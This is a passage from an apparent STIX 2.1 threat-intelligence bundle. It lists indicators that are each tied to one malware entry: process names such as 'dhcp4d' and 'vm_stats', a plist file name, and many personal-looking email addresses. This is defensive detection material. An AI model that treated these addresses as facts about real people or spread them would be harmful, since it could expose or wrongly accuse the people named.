"valid_from": "2024-01-26T21:28:21.780043Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d374104e-523d-4824-9ad0-68af352424dc", "created": "2024-01-26T21:28:21.78041Z", "modified": "2024-01-26T21:28:21.78041Z", "relationship_type": "indicates", "source_ref": "indicator--11f90d13-0e61-44d8-9c45-c01ecbffdcae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--72a5e375-2155-4dd5-9ecc-2ba5496cc9ae", "created": "2024-01-26T21:28:21.780505Z", "modified": "2024-01-26T21:28:21.780505Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='dhcp4d']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.780505Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bcf34b28-471c-43a0-8891-911513870415", "created": "2024-01-26T21:28:21.780871Z", "modified": "2024-01-26T21:28:21.780871Z", "relationship_type": "indicates", "source_ref": "indicator--72a5e375-2155-4dd5-9ecc-2ba5496cc9ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6e36695c-8054-4a95-be64-60db70f85d70", "created": "2024-01-26T21:28:21.780969Z", "modified": "2024-01-26T21:28:21.780969Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='netservcomd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.780969Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5303dbe0-a08d-45e7-9c15-6261d18abd6c", "created": "2024-01-26T21:28:21.781337Z", "modified": "2024-01-26T21:28:21.781337Z", "relationship_type": "indicates", "source_ref": "indicator--6e36695c-8054-4a95-be64-60db70f85d70", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--984deb09-2850-48fb-8df3-e7b72fe96ed3", "created": "2024-01-26T21:28:21.781433Z", "modified": "2024-01-26T21:28:21.781433Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='bh']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.781433Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aaaa8e31-66d1-455a-8f9d-168685d35af6", "created": "2024-01-26T21:28:21.781795Z", "modified": "2024-01-26T21:28:21.781795Z", "relationship_type": "indicates", "source_ref": "indicator--984deb09-2850-48fb-8df3-e7b72fe96ed3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e0e6a544-1ae3-474d-8a2c-3fe0d53f9711", "created": "2024-01-26T21:28:21.78189Z", "modified": "2024-01-26T21:28:21.78189Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='fdlibframed']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.78189Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--05aca14c-42b7-4c90-b361-f54d1b1e59b7", "created": "2024-01-26T21:28:21.782268Z", "modified": "2024-01-26T21:28:21.782268Z", "relationship_type": "indicates", "source_ref": "indicator--e0e6a544-1ae3-474d-8a2c-3fe0d53f9711", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--35e52bdd-590b-4e93-8637-b8aee686e2e3", "created": "2024-01-26T21:28:21.782363Z", "modified": "2024-01-26T21:28:21.782363Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='eventsfssd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.782363Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--49b73298-6210-42eb-98b4-6e9678423ac8", "created": "2024-01-26T21:28:21.782811Z", "modified": "2024-01-26T21:28:21.782811Z", "relationship_type": "indicates", "source_ref": "indicator--35e52bdd-590b-4e93-8637-b8aee686e2e3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e873866a-fdb0-41f6-a44d-ff735060ecd2", "created": "2024-01-26T21:28:21.78291Z", "modified": "2024-01-26T21:28:21.78291Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='vm_stats']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.78291Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4d1aa322-dac9-4f3e-81fc-4ec9b44c8a6d", "created": "2024-01-26T21:28:21.783334Z", "modified": "2024-01-26T21:28:21.783334Z", "relationship_type": "indicates", "source_ref": "indicator--e873866a-fdb0-41f6-a44d-ff735060ecd2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ea2bb368-0033-4a8a-bcb1-0143599af2e9", "created": "2024-01-26T21:28:21.783434Z", "modified": "2024-01-26T21:28:21.783434Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='eventfssd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.783434Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4ecb0fc-4ac1-4255-b22c-630eadee2ce6", "created": "2024-01-26T21:28:21.783804Z", "modified": "2024-01-26T21:28:21.783804Z", "relationship_type": "indicates", "source_ref": "indicator--ea2bb368-0033-4a8a-bcb1-0143599af2e9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4346225d-02bc-4b91-89a1-e542b4096461", "created": "2024-01-26T21:28:21.783898Z", "modified": "2024-01-26T21:28:21.783898Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='misbrigd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.783898Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8fc6a605-30a0-4750-8826-891ef716c1a9", "created": "2024-01-26T21:28:21.784263Z", "modified": "2024-01-26T21:28:21.784263Z", "relationship_type": "indicates", "source_ref": "indicator--4346225d-02bc-4b91-89a1-e542b4096461", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--307d73ec-de21-4408-a5cb-76a514f1dff0", "created": "2024-01-26T21:28:21.784359Z", "modified": "2024-01-26T21:28:21.784359Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='mobileargd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.784359Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0506b3c6-c6b5-49bb-9c28-d722a1900496", "created": "2024-01-26T21:28:21.78473Z", "modified": "2024-01-26T21:28:21.78473Z", "relationship_type": "indicates", "source_ref": "indicator--307d73ec-de21-4408-a5cb-76a514f1dff0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--85ba879d-fea5-4fe4-9253-328bd3e1aa14", "created": "2024-01-26T21:28:21.784835Z", "modified": "2024-01-26T21:28:21.784835Z", "indicator_types": ["malicious-activity"], "pattern": "[file:name='roleaccountd.plist']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.784835Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bbb49c7e-a335-41b8-ad35-f61c3938bd84", "created": "2024-01-26T21:28:21.785336Z", "modified": "2024-01-26T21:28:21.785336Z", "relationship_type": "indicates", "source_ref": "indicator--85ba879d-fea5-4fe4-9253-328bd3e1aa14", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a0e34b06-2be4-4b18-9963-c63445591be1", "created": "2024-01-26T21:28:21.785437Z", "modified": "2024-01-26T21:28:21.785437Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='bogaardlisa803@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.785437Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--46a715fb-e1d5-45f8-b094-5bb8664727ec", "created": "2024-01-26T21:28:21.786022Z", "modified": "2024-01-26T21:28:21.786022Z", "relationship_type": "indicates", "source_ref": "indicator--a0e34b06-2be4-4b18-9963-c63445591be1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--69d712af-ec43-4da4-bdd1-19d5d1e13176", "created": "2024-01-26T21:28:21.786118Z", "modified": "2024-01-26T21:28:21.786118Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='k.williams.enny74@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.786118Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a6a8e8aa-0c7c-47e5-a6e5-4c358d8cc51d", "created": "2024-01-26T21:28:21.786517Z", "modified": "2024-01-26T21:28:21.786517Z", "relationship_type": "indicates", "source_ref": "indicator--69d712af-ec43-4da4-bdd1-19d5d1e13176", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d7f2a3ba-5b91-41aa-8f88-bb3239158aeb", "created": "2024-01-26T21:28:21.786612Z", "modified": "2024-01-26T21:28:21.786612Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='bekkerfredi@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.786612Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--23e7dcfc-c049-4317-942a-abfb517c1f15", "created": "2024-01-26T21:28:21.787003Z", "modified": "2024-01-26T21:28:21.787003Z", "relationship_type": "indicates", "source_ref": "indicator--d7f2a3ba-5b91-41aa-8f88-bb3239158aeb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a1f45d76-20a2-410f-92ba-580712a26d33", "created": "2024-01-26T21:28:21.787097Z", "modified": "2024-01-26T21:28:21.787097Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='oskarschalcher@outlook.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.787097Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--05e2fc87-829e-4f05-bb7c-89a54e9b529f", "created": "2024-01-26T21:28:21.787575Z", "modified": "2024-01-26T21:28:21.787575Z", "relationship_type": "indicates", "source_ref": "indicator--a1f45d76-20a2-410f-92ba-580712a26d33", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9b069f21-302e-4e3f-b28c-f764eca1aba5", "created": "2024-01-26T21:28:21.787682Z", "modified": "2024-01-26T21:28:21.787682Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='taylorjade0303@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.787682Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2c33efcb-75ad-443e-8902-b66c3a23a744", "created": "2024-01-26T21:28:21.788077Z", "modified": "2024-01-26T21:28:21.788077Z", "relationship_type": "indicates", "source_ref": "indicator--9b069f21-302e-4e3f-b28c-f764eca1aba5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1a9d11e5-947b-4429-864a-697b30dac021", "created": "2024-01-26T21:28:21.788176Z", "modified": "2024-01-26T21:28:21.788176Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='krystynajasinska86@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.788176Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0b102b65-e001-4ccd-847f-5e1459175136", "created": "2024-01-26T21:28:21.788573Z", "modified": "2024-01-26T21:28:21.788573Z", "relationship_type": "indicates", "source_ref": "indicator--1a9d11e5-947b-4429-864a-697b30dac021", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--02144b6e-2276-4321-8fb1-06e9d04a0fff", "created": "2024-01-26T21:28:21.788669Z", "modified": "2024-01-26T21:28:21.788669Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='benjiburns8@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.788669Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ae8b04fc-e112-49b1-8e4c-eb751c7ae6e5", "created": "2024-01-26T21:28:21.789057Z", "modified": "2024-01-26T21:28:21.789057Z", "relationship_type": "indicates", "source_ref": "indicator--02144b6e-2276-4321-8fb1-06e9d04a0fff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a948e966-555a-4c1a-a804-76c27c6dfecf", "created": "2024-01-26T21:28:21.789152Z", "modified": "2024-01-26T21:28:21.789152Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='mitchkremer14@outlook.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.789152Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3d3b760f-c1a3-4e1c-a48b-d68fa9d9563e", "created": "2024-01-26T21:28:21.789544Z", "modified": "2024-01-26T21:28:21.789544Z", "relationship_type": "indicates", "source_ref": "indicator--a948e966-555a-4c1a-a804-76c27c6dfecf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5b282901-7487-4d4c-83a7-4cd11d3f7806", "created": "2024-01-26T21:28:21.789641Z", "modified": "2024-01-26T21:28:21.789641Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='smithsonrobert080@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.789641Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0dfb9cbf-68b8-4617-9bdd-48442c7b4f00", "created": "2024-01-26T21:28:21.790032Z", "modified": "2024-01-26T21:28:21.790032Z", "relationship_type": "indicates", "source_ref": "indicator--5b282901-7487-4d4c-83a7-4cd11d3f7806", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c81749e8-992c-4cc2-b921-4fad69568f57", "created": "2024-01-26T21:28:21.790127Z", "modified": "2024-01-26T21:28:21.790127Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='emmaholm575@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.790127Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0bca33d6-77a7-4be6-837f-1bc52be5fd3b", "created": "2024-01-26T21:28:21.790514Z", "modified": "2024-01-26T21:28:21.790514Z", "relationship_type": "indicates", "source_ref": "indicator--c81749e8-992c-4cc2-b921-4fad69568f57", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--537c4eb8-424b-4379-b26c-a796465eedbd", "created": "2024-01-26T21:28:21.790616Z", "modified": "2024-01-26T21:28:21.790616Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='jessicadavies1345@outlook.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.790616Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--62ea785c-ad06-4f9e-be16-7e9823e79b50", "created": "2024-01-26T21:28:21.791012Z", "modified": "2024-01-26T21:28:21.791012Z", "relationship_type": "indicates", "source_ref": "indicator--537c4eb8-424b-4379-b26c-a796465eedbd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--867f3943-9ced-460a-9ffd-61db0c15fa15", "created": "2024-01-26T21:28:21.791109Z", "modified": "2024-01-26T21:28:21.791109Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='filip.bl82@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.791109Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ecb97100-1717-443c-82cd-710b805f4461", "created": "2024-01-26T21:28:21.791499Z", "modified": "2024-01-26T21:28:21.791499Z", "relationship_type": "indicates", "source_ref": "indicator--867f3943-9ced-460a-9ffd-61db0c15fa15", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5d758876-0f84-4b14-a75e-1897b605ce3c", "created": "2024-01-26T21:28:21.791594Z", "modified": "2024-01-26T21:28:21.791594Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='vincent.dahl76@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.791594Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4153d624-3b82-4215-9017-c2ae890f1709", "created": "2024-01-26T21:28:21.792277Z", "modified": "2024-01-26T21:28:21.792277Z", "relationship_type": "indicates", "source_ref": "indicator--5d758876-0f84-4b14-a75e-1897b605ce3c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0933f715-0569-44f0-bc9d-e7c9c4db7d83", "created": "2024-01-26T21:28:21.792378Z", "modified": "2024-01-26T21:28:21.792378Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='ameliehaggart@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.792378Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--beae1e49-ee7e-42ef-ba98-1cb45b9d8a08", "created": "2024-01-26T21:28:21.792777Z", "modified": "2024-01-26T21:28:21.792777Z", "relationship_type": "indicates", "source_ref": "indicator--0933f715-0569-44f0-bc9d-e7c9c4db7d83", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f5c27de7-17dd-4797-82d8-eb7eb22440dd", "created": "2024-01-26T21:28:21.792873Z", "modified": "2024-01-26T21:28:21.792873Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='lee.85.holland@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.792873Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--057507d7-736a-4f6b-8b3e-51184409801c", "created": "2024-01-26T21:28:21.79327Z", "modified": "2024-01-26T21:28:21.79327Z", "relationship_type": "indicates", "source_ref": "indicator--f5c27de7-17dd-4797-82d8-eb7eb22440dd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3e57da71-ac14-447f-af0b-0fa478c5b505", "created": "2024-01-26T21:28:21.793372Z", "modified": "2024-01-26T21:28:21.793372Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='bakkere268@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.793372Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9f198cdd-fc85-460e-b820-8a9e9903dffe", "created": "2024-01-26T21:28:21.793761Z", "modified": "2024-01-26T21:28:21.793761Z", "relationship_type": "indicates", "source_ref": "indicator--3e57da71-ac14-447f-af0b-0fa478c5b505", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ced19c03-8cf3-443c-ba0c-664e092c11d3", "created": "2024-01-26T21:28:21.793857Z", "modified": "2024-01-26T21:28:21.793857Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='linakeller2203@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.793857Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2085cd24-9086-4e42-85b5-08273f0123f5", "created": "2024-01-26T21:28:21.794248Z", "modified": "2024-01-26T21:28:21.794248Z", "relationship_type": "indicates", "source_ref": "indicator--ced19c03-8cf3-443c-ba0c-664e092c11d3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--73f4f742-070d-4ed4-870d-57f7c4ec9d3c", "created": "2024-01-26T21:28:21.794342Z", "modified": "2024-01-26T21:28:21.794342Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='bergers.o79@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.794342Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--31d06e67-a12e-4717-a6c9-7fb6ddd06aea", "created": "2024-01-26T21:28:21.794728Z", "modified": "2024-01-26T21:28:21.794728Z", "relationship_type": "indicates", "source_ref": "indicator--73f4f742-070d-4ed4-870d-57f7c4ec9d3c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--339fff38-3a62-4a26-a5f8-3dc73d9a5b10", "created": "2024-01-26T21:28:21.794824Z", "modified": "2024-01-26T21:28:21.794824Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='sylianosliatsos84@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.794824Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3b81d637-9258-4bd2-a026-e14dc7f1ca28", "created": "2024-01-26T21:28:21.795221Z", "modified": "2024-01-26T21:28:21.795221Z", "relationship_type": "indicates", "source_ref": "indicator--339fff38-3a62-4a26-a5f8-3dc73d9a5b10", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bfd65f0c-8ab4-4e74-ad6a-6edeb891e62c", "created": "2024-01-26T21:28:21.795319Z", "modified": "2024-01-26T21:28:21.795319Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='yvonne.wechsler61@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.795319Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d8f55f11-44c0-468f-b9f1-6b156995380e", "created": "2024-01-26T21:28:21.795716Z", "modified": "2024-01-26T21:28:21.795716Z", "relationship_type": "indicates", "source_ref": "indicator--bfd65f0c-8ab4-4e74-ad6a-6edeb891e62c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--12fcda4d-fc87-418a-87b5-63c4cbb89b64", "created": "2024-01-26T21:28:21.795814Z", "modified": "2024-01-26T21:28:21.795814Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='arvidamelia1@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.795814Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a62a2e57-6a7f-497c-a0f2-12d355f0c753", "created": "2024-01-26T21:28:21.796204Z", "modified": "2024-01-26T21:28:21.796204Z", "relationship_type": "indicates", "source_ref": "indicator--12fcda4d-fc87-418a-87b5-63c4cbb89b64", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5002bdcb-9fdc-4a86-9bba-43bf4a1c4357", "created": "2024-01-26T21:28:21.796299Z", "modified": "2024-01-26T21:28:21.796299Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='weertlaura1@outlook.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.796299Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b37fce3a-d25f-4004-9138-1bae5f0b41cb", "created": "2024-01-26T21:28:21.796686Z", "modified": "2024-01-26T21:28:21.796686Z", "relationship_type": "indicates", "source_ref": "indicator--5002bdcb-9fdc-4a86-9bba-43bf4a1c4357", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--28cf0520-a678-4b14-b362-1554f483a6a8", "created": "2024-01-26T21:28:21.796781Z", "modified": "2024-01-26T21:28:21.796781Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='natalymarinova@proton.me']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.796781Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--38c43700-cf05-48d6-9c83-a24077891b02", "created": "2024-01-26T21:28:21.805078Z", "modified": "2024-01-26T21:28:21.805078Z", "relationship_type": "indicates", "source_ref": "indicator--28cf0520-a678-4b14-b362-1554f483a6a8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--73b85875-6754-4d51-b762-e9a05a6da536", "created": "2024-01-26T21:28:21.805233Z", "modified": "2024-01-26T21:28:21.805233Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='martin.vdm78@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.805233Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--297757e4-565a-4a29-ad63-082843be9035", "created": "2024-01-26T21:28:21.805654Z", "modified": "2024-01-26T21:28:21.805654Z", "relationship_type": "indicates", "source_ref": "indicator--73b85875-6754-4d51-b762-e9a05a6da536", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b2ff2156-68a1-4f89-80dc-0c8e81af9dbc", "created": "2024-01-26T21:28:21.805765Z", "modified": "2024-01-26T21:28:21.805765Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='kleinleon1987@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.805765Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fdef4d73-0761-4697-ae07-a091516beb35", "created": "2024-01-26T21:28:21.806168Z", "modified": "2024-01-26T21:28:21.806168Z", "relationship_type": "indicates", "source_ref": "indicator--b2ff2156-68a1-4f89-80dc-0c8e81af9dbc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8091a171-5b69-488e-a256-27438452313a", "created": "2024-01-26T21:28:21.806273Z", "modified": "2024-01-26T21:28:21.806273Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='naomiwerff772@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.806273Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--86dad8e0-c15b-49a6-a1d2-35c7002cadaa", "created": "2024-01-26T21:28:21.806679Z", "modified": "2024-01-26T21:28:21.806679Z", "relationship_type": "indicates", "source_ref": "indicator--8091a171-5b69-488e-a256-27438452313a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--da3131eb-401b-4712-8e10-af99de92aaff", "created": "2024-01-26T21:28:21.80678Z", "modified": "2024-01-26T21:28:21.80678Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='herbruud2@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.80678Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2afbbab4-7407-4bc9-bc7a-c6b2aefee95c", "created": "2024-01-26T21:28:21.80718Z", "modified": "2024-01-26T21:28:21.80718Z", "relationship_type": "indicates", "source_ref": "indicator--da3131eb-401b-4712-8e10-af99de92aaff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d832acbd-0601-41c7-a826-f42826e4d62d", "created": "2024-01-26T21:28:21.807281Z", "modified": "2024-01-26T21:28:21.807281Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='meliastahl@gmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.807281Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5c46cf7f-4eee-4eb2-b455-ba21c5c1c9a6", "created": "2024-01-26T21:28:21.807681Z", "modified": "2024-01-26T21:28:21.807681Z", "relationship_type": "indicates", "source_ref": "indicator--d832acbd-0601-41c7-a826-f42826e4d62d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5a505c7d-830e-4931-b2a9-024a29ecf27e", "created": "2024-01-26T21:28:21.807779Z", "modified": "2024-01-26T21:28:21.807779Z", "indicator_types": ["malicious-activity"], "pattern": "[email-addr:value='emmadavies8266@gmail.com']", "pattern_type": 